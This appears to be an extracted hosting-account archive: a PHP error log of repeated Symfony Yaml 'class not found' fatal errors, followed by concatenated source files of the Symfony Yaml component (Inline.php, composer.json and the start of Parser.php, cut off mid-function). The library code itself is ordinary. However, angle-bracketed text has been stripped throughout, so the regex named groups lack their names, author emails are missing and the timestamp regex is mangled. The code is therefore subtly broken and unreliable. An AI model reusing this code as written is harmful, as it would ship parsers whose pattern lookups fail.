UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Yaml\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php on line 19 [19-Nov-2025 23:57:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php on line 19 [20-Nov-2025 03:52:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php on line 19 [20-Nov-2025 04:28:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php on line 19 [20-Nov-2025 05:00:58 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php on line 19 [20-Nov-2025 05:11:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php on line 19 [25-Nov-2025 02:33:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php on line 19 [25-Nov-2025 03:25:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Yaml\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php on line 19 [26-Nov-2025 01:22:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/ParseException.php on line 19 [26-Nov-2025 02:03:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Yaml\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/RuntimeException.php on line 19 [26-Nov-2025 03:34:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Yaml\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/yaml/Exception/DumpException.php on line 19 yaml/Inline.php000064400000104511151113512240007432 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; use Symfony\Component\Yaml\Exception\DumpException; use Symfony\Component\Yaml\Exception\ParseException; use Symfony\Component\Yaml\Tag\TaggedValue; /** * Inline implements a YAML parser/dumper for the YAML inline syntax. * * @author Fabien Potencier * * @internal */ class Inline { public const REGEX_QUOTED_STRING = '(?:"([^"\\\\]*+(?:\\\\.[^"\\\\]*+)*+)"|\'([^\']*+(?:\'\'[^\']*+)*+)\')'; public static int $parsedLineNumber = -1; public static ?string $parsedFilename = null; private static bool $exceptionOnInvalidType = false; private static bool $objectSupport = false; private static bool $objectForMap = false; private static bool $constantSupport = false; public static function initialize(int $flags, int $parsedLineNumber = null, string $parsedFilename = null): void { self::$exceptionOnInvalidType = (bool) (Yaml::PARSE_EXCEPTION_ON_INVALID_TYPE & $flags); self::$objectSupport = (bool) (Yaml::PARSE_OBJECT & $flags); self::$objectForMap = (bool) (Yaml::PARSE_OBJECT_FOR_MAP & $flags); self::$constantSupport = (bool) (Yaml::PARSE_CONSTANT & $flags); self::$parsedFilename = $parsedFilename; if (null !== $parsedLineNumber) { self::$parsedLineNumber = $parsedLineNumber; } } /** * Converts a YAML string to a PHP value. * * @param int $flags A bit field of Yaml::PARSE_* constants to customize the YAML parser behavior * @param array $references Mapping of variable names to values * * @throws ParseException */ public static function parse(string $value = null, int $flags = 0, array &$references = []): mixed { if (null === $value) { return ''; } self::initialize($flags); $value = trim($value); if ('' === $value) { return ''; } $i = 0; $tag = self::parseTag($value, $i, $flags); switch ($value[$i]) { case '[': $result = self::parseSequence($value, $flags, $i, $references); ++$i; break; case '{': $result = self::parseMapping($value, $flags, $i, $references); ++$i; break; default: $result = self::parseScalar($value, $flags, null, $i, true, $references); } // some comments are allowed at the end if (preg_replace('/\s*#.*$/A', '', substr($value, $i))) { throw new ParseException(sprintf('Unexpected characters near "%s".', substr($value, $i)), self::$parsedLineNumber + 1, $value, self::$parsedFilename); } if (null !== $tag && '' !== $tag) { return new TaggedValue($tag, $result); } return $result; } /** * Dumps a given PHP variable to a YAML string. * * @param mixed $value The PHP variable to convert * @param int $flags A bit field of Yaml::DUMP_* constants to customize the dumped YAML string * * @throws DumpException When trying to dump PHP resource */ public static function dump(mixed $value, int $flags = 0): string { switch (true) { case \is_resource($value): if (Yaml::DUMP_EXCEPTION_ON_INVALID_TYPE & $flags) { throw new DumpException(sprintf('Unable to dump PHP resources in a YAML file ("%s").', get_resource_type($value))); } return self::dumpNull($flags); case $value instanceof \DateTimeInterface: return $value->format(match (true) { !$length = \strlen(rtrim($value->format('u'), '0')) => 'c', $length < 4 => 'Y-m-d\TH:i:s.vP', default => 'Y-m-d\TH:i:s.uP', }); case $value instanceof \UnitEnum: return sprintf('!php/const %s::%s', $value::class, $value->name); case \is_object($value): if ($value instanceof TaggedValue) { return '!'.$value->getTag().' '.self::dump($value->getValue(), $flags); } if (Yaml::DUMP_OBJECT & $flags) { return '!php/object '.self::dump(serialize($value)); } if (Yaml::DUMP_OBJECT_AS_MAP & $flags && ($value instanceof \stdClass || $value instanceof \ArrayObject)) { return self::dumpHashArray($value, $flags); } if (Yaml::DUMP_EXCEPTION_ON_INVALID_TYPE & $flags) { throw new DumpException('Object support when dumping a YAML file has been disabled.'); } return self::dumpNull($flags); case \is_array($value): return self::dumpArray($value, $flags); case null === $value: return self::dumpNull($flags); case true === $value: return 'true'; case false === $value: return 'false'; case \is_int($value): return $value; case is_numeric($value) && false === strpbrk($value, "\f\n\r\t\v"): $locale = setlocale(\LC_NUMERIC, 0); if (false !== $locale) { setlocale(\LC_NUMERIC, 'C'); } if (\is_float($value)) { $repr = (string) $value; if (is_infinite($value)) { $repr = str_ireplace('INF', '.Inf', $repr); } elseif (floor($value) == $value && $repr == $value) { // Preserve float data type since storing a whole number will result in integer value. if (!str_contains($repr, 'E')) { $repr = $repr.'.0'; } } } else { $repr = \is_string($value) ? "'$value'" : (string) $value; } if (false !== $locale) { setlocale(\LC_NUMERIC, $locale); } return $repr; case '' == $value: return "''"; case self::isBinaryString($value): return '!!binary '.base64_encode($value); case Escaper::requiresDoubleQuoting($value): return Escaper::escapeWithDoubleQuotes($value); case Escaper::requiresSingleQuoting($value): $singleQuoted = Escaper::escapeWithSingleQuotes($value); if (!str_contains($value, "'")) { return $singleQuoted; } // Attempt double-quoting the string instead to see if it's more efficient. $doubleQuoted = Escaper::escapeWithDoubleQuotes($value); return \strlen($doubleQuoted) < \strlen($singleQuoted) ? $doubleQuoted : $singleQuoted; case Parser::preg_match('{^[0-9]+[_0-9]*$}', $value): case Parser::preg_match(self::getHexRegex(), $value): case Parser::preg_match(self::getTimestampRegex(), $value): return Escaper::escapeWithSingleQuotes($value); default: return $value; } } /** * Check if given array is hash or just normal indexed array. */ public static function isHash(array|\ArrayObject|\stdClass $value): bool { if ($value instanceof \stdClass || $value instanceof \ArrayObject) { return true; } $expectedKey = 0; foreach ($value as $key => $val) { if ($key !== $expectedKey++) { return true; } } return false; } /** * Dumps a PHP array to a YAML string. * * @param array $value The PHP array to dump * @param int $flags A bit field of Yaml::DUMP_* constants to customize the dumped YAML string */ private static function dumpArray(array $value, int $flags): string { // array if (($value || Yaml::DUMP_EMPTY_ARRAY_AS_SEQUENCE & $flags) && !self::isHash($value)) { $output = []; foreach ($value as $val) { $output[] = self::dump($val, $flags); } return sprintf('[%s]', implode(', ', $output)); } return self::dumpHashArray($value, $flags); } /** * Dumps hash array to a YAML string. * * @param array|\ArrayObject|\stdClass $value The hash array to dump * @param int $flags A bit field of Yaml::DUMP_* constants to customize the dumped YAML string */ private static function dumpHashArray(array|\ArrayObject|\stdClass $value, int $flags): string { $output = []; foreach ($value as $key => $val) { if (\is_int($key) && Yaml::DUMP_NUMERIC_KEY_AS_STRING & $flags) { $key = (string) $key; } $output[] = sprintf('%s: %s', self::dump($key, $flags), self::dump($val, $flags)); } return sprintf('{ %s }', implode(', ', $output)); } private static function dumpNull(int $flags): string { if (Yaml::DUMP_NULL_AS_TILDE & $flags) { return '~'; } return 'null'; } /** * Parses a YAML scalar. * * @throws ParseException When malformed inline YAML string is parsed */ public static function parseScalar(string $scalar, int $flags = 0, array $delimiters = null, int &$i = 0, bool $evaluate = true, array &$references = [], bool &$isQuoted = null): mixed { if (\in_array($scalar[$i], ['"', "'"], true)) { // quoted scalar $isQuoted = true; $output = self::parseQuotedScalar($scalar, $i); if (null !== $delimiters) { $tmp = ltrim(substr($scalar, $i), " \n"); if ('' === $tmp) { throw new ParseException(sprintf('Unexpected end of line, expected one of "%s".', implode('', $delimiters)), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } if (!\in_array($tmp[0], $delimiters)) { throw new ParseException(sprintf('Unexpected characters (%s).', substr($scalar, $i)), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } } } else { // "normal" string $isQuoted = false; if (!$delimiters) { $output = substr($scalar, $i); $i += \strlen($output); // remove comments if (Parser::preg_match('/[ \t]+#/', $output, $match, \PREG_OFFSET_CAPTURE)) { $output = substr($output, 0, $match[0][1]); } } elseif (Parser::preg_match('/^(.*?)('.implode('|', $delimiters).')/', substr($scalar, $i), $match)) { $output = $match[1]; $i += \strlen($output); $output = trim($output); } else { throw new ParseException(sprintf('Malformed inline YAML string: "%s".', $scalar), self::$parsedLineNumber + 1, null, self::$parsedFilename); } // a non-quoted string cannot start with @ or ` (reserved) nor with a scalar indicator (| or >) if ($output && ('@' === $output[0] || '`' === $output[0] || '|' === $output[0] || '>' === $output[0] || '%' === $output[0])) { throw new ParseException(sprintf('The reserved indicator "%s" cannot start a plain scalar; you need to quote the scalar.', $output[0]), self::$parsedLineNumber + 1, $output, self::$parsedFilename); } if ($evaluate) { $output = self::evaluateScalar($output, $flags, $references, $isQuoted); } } return $output; } /** * Parses a YAML quoted scalar. * * @throws ParseException When malformed inline YAML string is parsed */ private static function parseQuotedScalar(string $scalar, int &$i = 0): string { if (!Parser::preg_match('/'.self::REGEX_QUOTED_STRING.'/Au', substr($scalar, $i), $match)) { throw new ParseException(sprintf('Malformed inline YAML string: "%s".', substr($scalar, $i)), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } $output = substr($match[0], 1, -1); $unescaper = new Unescaper(); if ('"' == $scalar[$i]) { $output = $unescaper->unescapeDoubleQuotedString($output); } else { $output = $unescaper->unescapeSingleQuotedString($output); } $i += \strlen($match[0]); return $output; } /** * Parses a YAML sequence. * * @throws ParseException When malformed inline YAML string is parsed */ private static function parseSequence(string $sequence, int $flags, int &$i = 0, array &$references = []): array { $output = []; $len = \strlen($sequence); ++$i; // [foo, bar, ...] while ($i < $len) { if (']' === $sequence[$i]) { return $output; } if (',' === $sequence[$i] || ' ' === $sequence[$i]) { ++$i; continue; } $tag = self::parseTag($sequence, $i, $flags); switch ($sequence[$i]) { case '[': // nested sequence $value = self::parseSequence($sequence, $flags, $i, $references); break; case '{': // nested mapping $value = self::parseMapping($sequence, $flags, $i, $references); break; default: $value = self::parseScalar($sequence, $flags, [',', ']'], $i, null === $tag, $references, $isQuoted); // the value can be an array if a reference has been resolved to an array var if (\is_string($value) && !$isQuoted && str_contains($value, ': ')) { // embedded mapping? try { $pos = 0; $value = self::parseMapping('{'.$value.'}', $flags, $pos, $references); } catch (\InvalidArgumentException) { // no, it's not } } if (!$isQuoted && \is_string($value) && '' !== $value && '&' === $value[0] && Parser::preg_match(Parser::REFERENCE_PATTERN, $value, $matches)) { $references[$matches['ref']] = $matches['value']; $value = $matches['value']; } --$i; } if (null !== $tag && '' !== $tag) { $value = new TaggedValue($tag, $value); } $output[] = $value; ++$i; } throw new ParseException(sprintf('Malformed inline YAML string: "%s".', $sequence), self::$parsedLineNumber + 1, null, self::$parsedFilename); } /** * Parses a YAML mapping. * * @throws ParseException When malformed inline YAML string is parsed */ private static function parseMapping(string $mapping, int $flags, int &$i = 0, array &$references = []): array|\stdClass { $output = []; $len = \strlen($mapping); ++$i; $allowOverwrite = false; // {foo: bar, bar:foo, ...} while ($i < $len) { switch ($mapping[$i]) { case ' ': case ',': case "\n": ++$i; continue 2; case '}': if (self::$objectForMap) { return (object) $output; } return $output; } // key $offsetBeforeKeyParsing = $i; $isKeyQuoted = \in_array($mapping[$i], ['"', "'"], true); $key = self::parseScalar($mapping, $flags, [':', ' '], $i, false); if ($offsetBeforeKeyParsing === $i) { throw new ParseException('Missing mapping key.', self::$parsedLineNumber + 1, $mapping); } if ('!php/const' === $key || '!php/enum' === $key) { $key .= ' '.self::parseScalar($mapping, $flags, [':'], $i, false); $key = self::evaluateScalar($key, $flags); } if (false === $i = strpos($mapping, ':', $i)) { break; } if (!$isKeyQuoted) { $evaluatedKey = self::evaluateScalar($key, $flags, $references); if ('' !== $key && $evaluatedKey !== $key && !\is_string($evaluatedKey) && !\is_int($evaluatedKey)) { throw new ParseException('Implicit casting of incompatible mapping keys to strings is not supported. Quote your evaluable mapping keys instead.', self::$parsedLineNumber + 1, $mapping); } } if (!$isKeyQuoted && (!isset($mapping[$i + 1]) || !\in_array($mapping[$i + 1], [' ', ',', '[', ']', '{', '}', "\n"], true))) { throw new ParseException('Colons must be followed by a space or an indication character (i.e. " ", ",", "[", "]", "{", "}").', self::$parsedLineNumber + 1, $mapping); } if ('<<' === $key) { $allowOverwrite = true; } while ($i < $len) { if (':' === $mapping[$i] || ' ' === $mapping[$i] || "\n" === $mapping[$i]) { ++$i; continue; } $tag = self::parseTag($mapping, $i, $flags); switch ($mapping[$i]) { case '[': // nested sequence $value = self::parseSequence($mapping, $flags, $i, $references); // Spec: Keys MUST be unique; first one wins. // Parser cannot abort this mapping earlier, since lines // are processed sequentially. // But overwriting is allowed when a merge node is used in current block. if ('<<' === $key) { foreach ($value as $parsedValue) { $output += $parsedValue; } } elseif ($allowOverwrite || !isset($output[$key])) { if (null !== $tag) { $output[$key] = new TaggedValue($tag, $value); } else { $output[$key] = $value; } } elseif (isset($output[$key])) { throw new ParseException(sprintf('Duplicate key "%s" detected.', $key), self::$parsedLineNumber + 1, $mapping); } break; case '{': // nested mapping $value = self::parseMapping($mapping, $flags, $i, $references); // Spec: Keys MUST be unique; first one wins. // Parser cannot abort this mapping earlier, since lines // are processed sequentially. // But overwriting is allowed when a merge node is used in current block. if ('<<' === $key) { $output += $value; } elseif ($allowOverwrite || !isset($output[$key])) { if (null !== $tag) { $output[$key] = new TaggedValue($tag, $value); } else { $output[$key] = $value; } } elseif (isset($output[$key])) { throw new ParseException(sprintf('Duplicate key "%s" detected.', $key), self::$parsedLineNumber + 1, $mapping); } break; default: $value = self::parseScalar($mapping, $flags, [',', '}', "\n"], $i, null === $tag, $references, $isValueQuoted); // Spec: Keys MUST be unique; first one wins. // Parser cannot abort this mapping earlier, since lines // are processed sequentially. // But overwriting is allowed when a merge node is used in current block. if ('<<' === $key) { $output += $value; } elseif ($allowOverwrite || !isset($output[$key])) { if (!$isValueQuoted && \is_string($value) && '' !== $value && '&' === $value[0] && Parser::preg_match(Parser::REFERENCE_PATTERN, $value, $matches)) { $references[$matches['ref']] = $matches['value']; $value = $matches['value']; } if (null !== $tag) { $output[$key] = new TaggedValue($tag, $value); } else { $output[$key] = $value; } } elseif (isset($output[$key])) { throw new ParseException(sprintf('Duplicate key "%s" detected.', $key), self::$parsedLineNumber + 1, $mapping); } --$i; } ++$i; continue 2; } } throw new ParseException(sprintf('Malformed inline YAML string: "%s".', $mapping), self::$parsedLineNumber + 1, null, self::$parsedFilename); } /** * Evaluates scalars and replaces magic values. * * @throws ParseException when object parsing support was disabled and the parser detected a PHP object or when a reference could not be resolved */ private static function evaluateScalar(string $scalar, int $flags, array &$references = [], bool &$isQuotedString = null): mixed { $isQuotedString = false; $scalar = trim($scalar); if (str_starts_with($scalar, '*')) { if (false !== $pos = strpos($scalar, '#')) { $value = substr($scalar, 1, $pos - 2); } else { $value = substr($scalar, 1); } // an unquoted * if (false === $value || '' === $value) { throw new ParseException('A reference must contain at least one character.', self::$parsedLineNumber + 1, $value, self::$parsedFilename); } if (!\array_key_exists($value, $references)) { throw new ParseException(sprintf('Reference "%s" does not exist.', $value), self::$parsedLineNumber + 1, $value, self::$parsedFilename); } return $references[$value]; } $scalarLower = strtolower($scalar); switch (true) { case 'null' === $scalarLower: case '' === $scalar: case '~' === $scalar: return null; case 'true' === $scalarLower: return true; case 'false' === $scalarLower: return false; case '!' === $scalar[0]: switch (true) { case str_starts_with($scalar, '!!str '): $s = (string) substr($scalar, 6); if (\in_array($s[0] ?? '', ['"', "'"], true)) { $isQuotedString = true; $s = self::parseQuotedScalar($s); } return $s; case str_starts_with($scalar, '! '): return substr($scalar, 2); case str_starts_with($scalar, '!php/object'): if (self::$objectSupport) { if (!isset($scalar[12])) { throw new ParseException('Missing value for tag "!php/object".', self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } return unserialize(self::parseScalar(substr($scalar, 12))); } if (self::$exceptionOnInvalidType) { throw new ParseException('Object support when parsing a YAML file has been disabled.', self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } return null; case str_starts_with($scalar, '!php/const'): if (self::$constantSupport) { if (!isset($scalar[11])) { throw new ParseException('Missing value for tag "!php/const".', self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } $i = 0; if (\defined($const = self::parseScalar(substr($scalar, 11), 0, null, $i, false))) { return \constant($const); } throw new ParseException(sprintf('The constant "%s" is not defined.', $const), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } if (self::$exceptionOnInvalidType) { throw new ParseException(sprintf('The string "%s" could not be parsed as a constant. Did you forget to pass the "Yaml::PARSE_CONSTANT" flag to the parser?', $scalar), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } return null; case str_starts_with($scalar, '!php/enum'): if (self::$constantSupport) { if (!isset($scalar[11])) { throw new ParseException('Missing value for tag "!php/enum".', self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } $i = 0; $enum = self::parseScalar(substr($scalar, 10), 0, null, $i, false); if ($useValue = str_ends_with($enum, '->value')) { $enum = substr($enum, 0, -7); } if (!\defined($enum)) { throw new ParseException(sprintf('The enum "%s" is not defined.', $enum), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } $value = \constant($enum); if (!$value instanceof \UnitEnum) { throw new ParseException(sprintf('The string "%s" is not the name of a valid enum.', $enum), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } if (!$useValue) { return $value; } if (!$value instanceof \BackedEnum) { throw new ParseException(sprintf('The enum "%s" defines no value next to its name.', $enum), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } return $value->value; } if (self::$exceptionOnInvalidType) { throw new ParseException(sprintf('The string "%s" could not be parsed as an enum. Did you forget to pass the "Yaml::PARSE_CONSTANT" flag to the parser?', $scalar), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } return null; case str_starts_with($scalar, '!!float '): return (float) substr($scalar, 8); case str_starts_with($scalar, '!!binary '): return self::evaluateBinaryScalar(substr($scalar, 9)); } throw new ParseException(sprintf('The string "%s" could not be parsed as it uses an unsupported built-in tag.', $scalar), self::$parsedLineNumber, $scalar, self::$parsedFilename); case preg_match('/^(?:\+|-)?0o(?P[0-7_]++)$/', $scalar, $matches): $value = str_replace('_', '', $matches['value']); if ('-' === $scalar[0]) { return -octdec($value); } return octdec($value); case \in_array($scalar[0], ['+', '-', '.'], true) || is_numeric($scalar[0]): if (Parser::preg_match('{^[+-]?[0-9][0-9_]*$}', $scalar)) { $scalar = str_replace('_', '', $scalar); } switch (true) { case ctype_digit($scalar): case '-' === $scalar[0] && ctype_digit(substr($scalar, 1)): $cast = (int) $scalar; return ($scalar === (string) $cast) ? $cast : $scalar; case is_numeric($scalar): case Parser::preg_match(self::getHexRegex(), $scalar): $scalar = str_replace('_', '', $scalar); return '0x' === $scalar[0].$scalar[1] ? hexdec($scalar) : (float) $scalar; case '.inf' === $scalarLower: case '.nan' === $scalarLower: return -log(0); case '-.inf' === $scalarLower: return log(0); case Parser::preg_match('/^(-|\+)?[0-9][0-9_]*(\.[0-9_]+)?$/', $scalar): return (float) str_replace('_', '', $scalar); case Parser::preg_match(self::getTimestampRegex(), $scalar): // When no timezone is provided in the parsed date, YAML spec says we must assume UTC. $time = new \DateTimeImmutable($scalar, new \DateTimeZone('UTC')); if (Yaml::PARSE_DATETIME & $flags) { return $time; } if ('' !== rtrim($time->format('u'), '0')) { return (float) $time->format('U.u'); } try { if (false !== $scalar = $time->getTimestamp()) { return $scalar; } } catch (\ValueError) { // no-op } return $time->format('U'); } } return (string) $scalar; } private static function parseTag(string $value, int &$i, int $flags): ?string { if ('!' !== $value[$i]) { return null; } $tagLength = strcspn($value, " \t\n[]{},", $i + 1); $tag = substr($value, $i + 1, $tagLength); $nextOffset = $i + $tagLength + 1; $nextOffset += strspn($value, ' ', $nextOffset); if ('' === $tag && (!isset($value[$nextOffset]) || \in_array($value[$nextOffset], [']', '}', ','], true))) { throw new ParseException('Using the unquoted scalar value "!" is not supported. You must quote it.', self::$parsedLineNumber + 1, $value, self::$parsedFilename); } // Is followed by a scalar and is a built-in tag if ('' !== $tag && (!isset($value[$nextOffset]) || !\in_array($value[$nextOffset], ['[', '{'], true)) && ('!' === $tag[0] || \in_array($tag, ['str', 'php/const', 'php/enum', 'php/object'], true))) { // Manage in {@link self::evaluateScalar()} return null; } $i = $nextOffset; // Built-in tags if ('' !== $tag && '!' === $tag[0]) { throw new ParseException(sprintf('The built-in tag "!%s" is not implemented.', $tag), self::$parsedLineNumber + 1, $value, self::$parsedFilename); } if ('' !== $tag && !isset($value[$i])) { throw new ParseException(sprintf('Missing value for tag "%s".', $tag), self::$parsedLineNumber + 1, $value, self::$parsedFilename); } if ('' === $tag || Yaml::PARSE_CUSTOM_TAGS & $flags) { return $tag; } throw new ParseException(sprintf('Tags support is not enabled. Enable the "Yaml::PARSE_CUSTOM_TAGS" flag to use "!%s".', $tag), self::$parsedLineNumber + 1, $value, self::$parsedFilename); } public static function evaluateBinaryScalar(string $scalar): string { $parsedBinaryData = self::parseScalar(preg_replace('/\s/', '', $scalar)); if (0 !== (\strlen($parsedBinaryData) % 4)) { throw new ParseException(sprintf('The normalized base64 encoded data (data without whitespace characters) length must be a multiple of four (%d bytes given).', \strlen($parsedBinaryData)), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } if (!Parser::preg_match('#^[A-Z0-9+/]+={0,2}$#i', $parsedBinaryData)) { throw new ParseException(sprintf('The base64 encoded data (%s) contains invalid characters.', $parsedBinaryData), self::$parsedLineNumber + 1, $scalar, self::$parsedFilename); } return base64_decode($parsedBinaryData, true); } private static function isBinaryString(string $value): bool { return !preg_match('//u', $value) || preg_match('/[^\x00\x07-\x0d\x1B\x20-\xff]/', $value); } /** * Gets a regex that matches a YAML date. * * @see http://www.yaml.org/spec/1.2/spec.html#id2761573 */ private static function getTimestampRegex(): string { return <<[0-9][0-9][0-9][0-9]) -(?P[0-9][0-9]?) -(?P[0-9][0-9]?) (?:(?:[Tt]|[ \t]+) (?P[0-9][0-9]?) :(?P[0-9][0-9]) :(?P[0-9][0-9]) (?:\.(?P[0-9]*))? (?:[ \t]*(?PZ|(?P[-+])(?P[0-9][0-9]?) (?::(?P[0-9][0-9]))?))?)? $~x EOF; } /** * Gets a regex that matches a YAML number in hexadecimal notation. */ private static function getHexRegex(): string { return '~^0x[0-9a-f_]++$~i'; } } yaml/composer.json000064400000001643151113512250010230 0ustar00{ "name": "symfony/yaml", "type": "library", "description": "Loads and dumps YAML files", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-ctype": "^1.8" }, "require-dev": { "symfony/console": "^5.4|^6.0" }, "conflict": { "symfony/console": "<5.4" }, "autoload": { "psr-4": { "Symfony\\Component\\Yaml\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "bin": [ "Resources/bin/yaml-lint" ], "minimum-stability": "dev" } yaml/Parser.php000064400000141676151113512250007466 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Yaml; use Symfony\Component\Yaml\Exception\ParseException; use Symfony\Component\Yaml\Tag\TaggedValue; /** * Parser parses YAML strings to convert them to PHP arrays. * * @author Fabien Potencier * * @final */ class Parser { public const TAG_PATTERN = '(?P![\w!.\/:-]+)'; public const BLOCK_SCALAR_HEADER_PATTERN = '(?P\||>)(?P\+|\-|\d+|\+\d+|\-\d+|\d+\+|\d+\-)?(?P +#.*)?'; public const REFERENCE_PATTERN = '#^&(?P[^ ]++) *+(?P.*)#u'; private ?string $filename = null; private int $offset = 0; private int $numberOfParsedLines = 0; private ?int $totalNumberOfLines = null; private array $lines = []; private int $currentLineNb = -1; private string $currentLine = ''; private array $refs = []; private array $skippedLineNumbers = []; private array $locallySkippedLineNumbers = []; private array $refsBeingParsed = []; /** * Parses a YAML file into a PHP value. * * @param string $filename The path to the YAML file to be parsed * @param int $flags A bit field of Yaml::PARSE_* constants to customize the YAML parser behavior * * @throws ParseException If the file could not be read or the YAML is not valid */ public function parseFile(string $filename, int $flags = 0): mixed { if (!is_file($filename)) { throw new ParseException(sprintf('File "%s" does not exist.', $filename)); } if (!is_readable($filename)) { throw new ParseException(sprintf('File "%s" cannot be read.', $filename)); } $this->filename = $filename; try { return $this->parse(file_get_contents($filename), $flags); } finally { $this->filename = null; } } /** * Parses a YAML string to a PHP value. * * @param string $value A YAML string * @param int $flags A bit field of Yaml::PARSE_* constants to customize the YAML parser behavior * * @throws ParseException If the YAML is not valid */ public function parse(string $value, int $flags = 0): mixed { if (false === preg_match('//u', $value)) { throw new ParseException('The YAML value does not appear to be valid UTF-8.', -1, null, $this->filename); } $this->refs = []; try { $data = $this->doParse($value, $flags); } finally { $this->refsBeingParsed = []; $this->offset = 0; $this->lines = []; $this->currentLine = ''; $this->numberOfParsedLines = 0; $this->refs = []; $this->skippedLineNumbers = []; $this->locallySkippedLineNumbers = []; $this->totalNumberOfLines = null; } return $data; } private function doParse(string $value, int $flags): mixed { $this->currentLineNb = -1; $this->currentLine = ''; $value = $this->cleanup($value); $this->lines = explode("\n", $value); $this->numberOfParsedLines = \count($this->lines); $this->locallySkippedLineNumbers = []; $this->totalNumberOfLines ??= $this->numberOfParsedLines; if (!$this->moveToNextLine()) { return null; } $data = []; $context = null; $allowOverwrite = false; while ($this->isCurrentLineEmpty()) { if (!$this->moveToNextLine()) { return null; } } // Resolves the tag and returns if end of the document if (null !== ($tag = $this->getLineTag($this->currentLine, $flags, false)) && !$this->moveToNextLine()) { return new TaggedValue($tag, ''); } do { if ($this->isCurrentLineEmpty()) { continue; } // tab? if ("\t" === $this->currentLine[0]) { throw new ParseException('A YAML file cannot contain tabs as indentation.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } Inline::initialize($flags, $this->getRealCurrentLineNb(), $this->filename); $isRef = $mergeNode = false; if ('-' === $this->currentLine[0] && self::preg_match('#^\-((?P\s+)(?P.+))?$#u', rtrim($this->currentLine), $values)) { if ($context && 'mapping' == $context) { throw new ParseException('You cannot define a sequence item when in a mapping.', $this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename); } $context = 'sequence'; if (isset($values['value']) && '&' === $values['value'][0] && self::preg_match(self::REFERENCE_PATTERN, $values['value'], $matches)) { $isRef = $matches['ref']; $this->refsBeingParsed[] = $isRef; $values['value'] = $matches['value']; } if (isset($values['value'][1]) && '?' === $values['value'][0] && ' ' === $values['value'][1]) { throw new ParseException('Complex mappings are not supported.', $this->getRealCurrentLineNb() + 1, $this->currentLine); } // array if (isset($values['value']) && str_starts_with(ltrim($values['value'], ' '), '-')) { // Inline first child $currentLineNumber = $this->getRealCurrentLineNb(); $sequenceIndentation = \strlen($values['leadspaces']) + 1; 